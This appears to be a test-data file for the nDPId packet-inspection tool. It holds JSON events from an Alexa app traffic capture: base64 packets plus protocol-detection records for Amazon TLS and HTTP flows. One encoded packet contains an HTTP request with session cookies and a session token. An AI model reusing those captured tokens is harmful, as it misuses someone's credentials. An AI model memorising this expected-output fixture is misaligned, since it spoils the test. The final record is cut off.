+00427{"flow_id":92,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1303,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38424,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwe7VAAOcGJEU0XuiGrBAq2AG7spKfnILVmm2+u3ASH\/5AVQAAAgQFtAEDAwY="} +00427{"flow_id":90,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1304,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38470,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw9UZAAOcGqrM0XuiGrBAq2AG7spCu8tJmAyB1XnASH\/7CGgAAAgQFtAEDAwY="} +00427{"flow_id":91,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1305,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":38569,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwjedAAOcGEhM0XuiGrBAq2ABQwds2rrGpGjBje3ASH\/5IDwAAAgQFtAEDAwY="} +00428{"flow_id":89,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1308,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":39310,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwhnJAAOcGGYg0XuiGrBAq2AG7so\/BFRS5iAxcNXASH\/4B4wAAAgQFtAEDAwY="} +00414{"flow_id":88,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1309,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":92084,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNF9AAEAGEqSsECrYNF7ohrKOAbuEplWkQGBw+lAQAVd6wQAA"} +00414{"flow_id":87,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1310,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":92944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo1jBAAEAGcNKsECrYNF7ohrKNAbu9HLewsNs4FFAQAVeoqgAA"} +00416{"flow_id":87,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1311,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":169670,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo1jFAAEAGcNGsECrYNF7ohrKNAbu9HLewsNs4SVAQAVeodQAA"} +00499{"flow_id":87,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1312,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":169939,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj1jJAAEAGcJWsECrYNF7ohrKNAbu9HLewsNs4SVAYAVcEtAAAFAMBAAEBFgMBADCGv234ZBUqozAMPHPOSNvrnGj6Q9P5yYc7q3ziPs4vb7yuShT+GP2ur4y\/pUcWyVQ="} +00445{"flow_id":91,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1313,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":170782,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8AmBAAEAGRI+sECrYNF7ohsHbAFAaMGN6AAAAAKAC\/\/+x3AAAAgQFtAQCCAoA9mGJAAAAAAEDAwg="} +00415{"flow_id":93,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1314,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":173414,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTPxAAEAG+gasECrYNF7ohrKTAbvSFy3RQc82+FAQAVeNsQAA"} +00415{"flow_id":89,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1315,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":173701,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoPTtAAEAGCcisECrYNF7ohrKPAbuIDFw1wRUUulAQAVdMVAAA"} +00415{"flow_id":94,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":173838,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZGhAAEAG4pqsECrYNF7ohsHeAFAhsQVaSlvBPFAQAVfF3gAA"} +00415{"flow_id":92,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":173961,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo35FAAEAGZ3GsECrYNF7ohrKSAbuabb67n5yC1lAQAVeKxgAA"} +00415{"flow_id":90,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":174085,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoFFRAAEAGMq+sECrYNF7ohrKQAbsDIHVervLSZ1AQAVcMjAAA"} +00415{"flow_id":91,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1319,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":174233,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAmFAAEAGRKKsECrYNF7ohsHbAFAaMGN7Nq6xqlAQAVeSgAAA"} +00415{"flow_id":89,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1321,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":174513,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoPTxAAEAGCcesECrYNF7ohrKPAbuIDFw1wRUUulAQAVdMVAAA"} +00740{"flow_id":93,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1322,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":191085,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXTP1AAEAG+RasECrYNF7ohrKTAbvSFy3RQc82+FAYAVfMxwAAFgMBAOoBAADmAwN2ORpKrhOyHUV07StwwZSHYsVIRIzr5Y8\/9rRF0KIdZyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9GhoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACDo6AB0AFwAYSkoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1322,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":93,"flow_packet_id":4,"flow_first_seen":1490976089239,"flow_last_seen":1490976090191,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45715,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":89,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1323,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":191751,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXPT1AAEAGCNesECrYNF7ohrKPAbuIDFw1wRUUulAYAVfLTAAAFgMBAOoBAADmAwPjfQc08nicJlIWvpWTsnguVDAWVUUtWHA8jlVxZgUfkiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9CgoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYOjoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1323,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":89,"flow_packet_id":7,"flow_first_seen":1490976088937,"flow_last_seen":1490976090191,"flow_tot_l4_data_len":435,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45711,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":92,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1324,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":192268,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX35JAAEAGZoGsECrYNF7ohrKSAbuabb67n5yC1lAYAVccWAAAFgMBAOoBAADmAwNaeZ4ISZVz+LBPXmReGVk3y0uzNDLI3JpfNeWOq+pSDyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9mpoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYCgoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1324,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":92,"flow_packet_id":4,"flow_first_seen":1490976089227,"flow_last_seen":1490976090192,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45714,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00739{"flow_id":90,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":192765,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXFFVAAEAGMb+sECrYNF7ohrKQAbsDIHVervLSZ1AYAVdNGQAAFgMBAOoBAADmAwPYo856fiqLFy2iEPtPPss95VhSsyrseZstWVe+UbRC3CCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg2trMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9ysoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACKqqAB0AFwAYenoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1325,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":90,"flow_packet_id":5,"flow_first_seen":1490976088958,"flow_last_seen":1490976090192,"flow_tot_l4_data_len":387,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45712,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +01368{"flow_id":87,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1326,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":193592,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"AMDKkaPvePiC0\/vCCABFAALi1jNAAEAGbhWsECrYNF7ohrKNAbu9HLfrsNs4SVAYAVdt4AAAFwMBACBTHTUUf7nZivk0qlO4pg9NasPkO8JDsaE0BcacK23V6RcDAQKQAejy47FkkkRgHJazD3as3BYDKxznaUS\/KyPof+uTsmx6515XMMmCKPHnRnrgwiSDUX7D81zZNbBslDZ+N4EqLmgXQiDnn9SIGxW3yQ1LS7GaEoosmiz2Z7WXgt6P\/dY1Rd0F5A5Dh0GY1fzDeKJzfxP2tsmWoZSjOaIWsfiCwAA6ZnQTajASqCz80QagjfB\/itMlHucL7eGLZrUTpPU2NxarVKBNBPvgmgntwvon1uCQVPKJv1IVMO7XO+PeI0evbTQF+IB2UadJGxEKlV+sh0nPzelDo3WJYBhfGjUfR2Ebg30o4Ca1cfSds5tI09SiZpA6Ebqx3OUVYWmSD7x7hFihUxwaN7z3OEz3kkBFHk\/h5H0+WCu3\/qXfC1iMi+\/mac4zqmqsI+xgYzM\/fyHb5BcgSgAPzZCPZnF\/kJ9sJqaV4lgZIyrmIOo7vuLY3Wsr4Giq4yz+SPoJ9locMrLgfkaY1zWswWRGPFH\/gACfJS19w4dYC\/yTaJ+yh5px2rwbElSCCCzWfSlKYj0swIKibEFxZTfbjzq25vX0Vz7SPRopN0fN4ZLi+OC\/Y4vlpyNTeQOV+xwymNphrtt7uqtzp6nAbP83nHPiwgfO51\/SosUrZ546O8BASZ7+FtayyyTugDZBAgqKlxnImNKnVzyZM+34E1o6zSifwpIkEPUrjKp555MEPy5cRqJy2y6NiM3uKMBTLxLFIQe1CH3Jc1R9QGTL5L8hREDG6I+KAEWTxeQM7RUWHpy\/gEBEZNNhB78MC5\/5AvPBpK9YvhPjlSuy1DVYlb5Qq6CwTOURQXTMC5qd0rqKn\/5C+aA7j7dSdu2ux1+426MQl52y2uptW7dHxOUa9KGNcodWf\/PBePRA\/3k="} +01749{"flow_id":94,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1327,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":196942,"pkt_caplen":1050,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1050,"pkt_l4_len":1016,"pkt":"AMDKkaPvePiC0\/vCCABFAAQMZGlAAEAG3rWsECrYNF7ohsHeAFAhsQVaSlvBPFAYAVe23QAAR0VUIC9saWIvYm9vdHN0cmFwL2ltZy9nbHlwaGljb25zLWhhbGZsaW5ncy5wbmcgSFRUUC8xLjENCkhvc3Q6IGFsZXhhLmFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vbGliL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KQ29va2llOiBjc3JmPS04NDYxMjczODsgc2Vzc2lvbi1pZC10aW1lPTIwODI3ODcyMDFsOyBzZXNzaW9uLWlkPTE1NC0zMTAzMjY1LTI5MzI1MTY7IGxjLW1haW49ZW5fVVM7IHViaWQtbWFpbj0xNTItODc2MzUwNS03MzA0OTA0OyBzZXNzaW9uLXRva2VuPSI3S0hoNVRqUzVrSkVsck5LcDdpUVlWZEY3U1VyYVV6QzdaallYOFNobzF5bXFZaGp3NElNR1FPNUE4Y3B1TStyS0ZyTVU2a3VjUlpwUDhSb3p5c2hDRVRWdlBIYWVHSzBXSk9LaW1nMnJlRTJvRmszOXhJemVzUXFoeGE5NFZhNVpuOFgyc1E5MDNqT2w2UlllWVowL2VCWDhkdVpoYVRNVE1pRk0veFdsS0NmZHdQNTF4WDhFRmNGcTI2OXBaWkR4YXpNSVJnbzQ1UT0iOyB4LW1haW49IloyU2tCV2VGdDh0YWt4P3VvSE1oQmdXS0o4QlZubTlWMFprVXNmM3FmbHBCaEBMSDBDVDBVU2hvaE1xSHpvWWYiDQpYLVJlcXVlc3RlZC1XaXRoOiBjb20uYW1hem9uLmRlZS5hcHANCg0K"} +00956{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1327,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":94,"flow_packet_id":4,"flow_first_seen":1490976089426,"flow_last_seen":1490976090196,"flow_tot_l4_data_len":1104,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1016,"flow_avg_l4_data_len":276,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49630,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"http": {"hostname":"alexa.amazon.com","url":"alexa.amazon.com\/lib\/bootstrap\/img\/glyphicons-halflings.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00425{"flow_id":87,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1330,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":208047,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoil9AAOcGFaM0XuiGrBAq2AG7so2w2zhJvRy3sFAQf\/gp1AAAAAAAAAAA"} +00428{"flow_id":90,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1331,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":208185,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw7D5AAOcGs7s0XuiGrBAq2AG7spCu8tJmAyB1XnASH\/7CGgAAAgQFtAEDAwY="} +00425{"flow_id":88,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1332,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":208227,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo2lZAAOcGxas0XuiGrBAq2AG7so5AYHGEhKZVpFAQf\/j7lQAAAAAAAAAA"} +00606{"flow_id":88,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1333,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":208579,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"ePiC0\/vCAMDKkVoBCABFAACy4R1AAOcGvlo0XuiGrBAq2AG7so5AYHD6hKZVpFAYf\/g4YAAAFgMBAEoCAABGAwFY3n1ZkgSfZxpUVsjukL3QGrN+GftTic3QmVujVubAeSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABARYDAQAwV211r\/cfMqIBzGSnqJg\/QN1944QRoRTnuPXQAmnnASEZjW0DUONCoOljLehyEk8A"} +00415{"flow_id":90,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1334,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":210793,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoFFZAAEAGMq2sECrYNF7ohrKQAbsDIHZNrvLSZ1AQAVcLnQAA"} +00416{"flow_id":88,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1335,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":211077,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNGBAAEAGEqOsECrYNF7ohrKOAbuEplWkQGBxhFAQAVt6MwAA"} +00500{"flow_id":88,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1336,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":220782,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjNGFAAEAGEmesECrYNF7ohrKOAbuEplWkQGBxhFAYAVshCAAAFAMBAAEBFgMBADDWB3TsQREYcZYFatiyv\/28vS6aqfOrZkK7wt\/6mJgP7+4ogcbosmClPtQFljzrWoE="} +02395{"flow_id":88,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1337,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":228718,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcNGJAAEAGDO2sECrYNF7ohrKOAbuEplXfQGBxhFAQAVuMWwAAFwMBACDXeJK5NLmxAU0COJuFDnSqD1nT\/E69jUlHPMeBM6UIFRcDAQYwCUwku9PrrZGukMJuwjTWsPngT2Vr+Nw\/QyqEHuiTEpQLJmPgQDl3fCQxmgkxYAkdw\/RrTKeYomOLyivBMThN37YThnctKlK0NhahZNKbr1FCEDJTwg069IsV0+ZwqHNdXZAl4nRrDhSwYrui2zRlnxag2C30lmfx9xWL1A+a4RxniAhFYhIDhAoyRd8tTzVuGy7mLfbmMUxOiVFaQ408VXN11ipveqZl75OEe7oxcZMFBrw6nJXufTDiol8rIh61dh3EdopXjogXnyfirQB4VsH5QuJ3qYJtJoa49\/46kYswRjEGaJ\/OX+tr82goLHr+fSNZJiiRcvp2J806NR3jcF4rRuYfGXUPLIpGyPZ6AQ1dAZC0JbNl0KshDv6jeTxAFATu3xthHJogAcYMXn35Ngm2I9QAXheb54aKLyeckhcaPxNve\/AGA7dEePmrgJRi4W31v1aatZHJ39suS6zvX41pQQ0LiJsnwvg36\/SQUx8Wrx56v+h1L7CYj\/Y7IiCNP1Vf2rOhQmz3tioiUurhzHqgTa\/9rM3Hx\/OYzhWzATCd\/emaDQZQ7wFVtwcFyCEA5GmLy+6al1kKBnD1vlKb3k98WPUhkyWRrJbKK1RqpGCo043j23cSTdkwSMsxaJZ8Vi9hPF9RzeOw4GTeEzG7xLveeIYicFQV8IzaipAKs8f4fWvfw0dY5vt8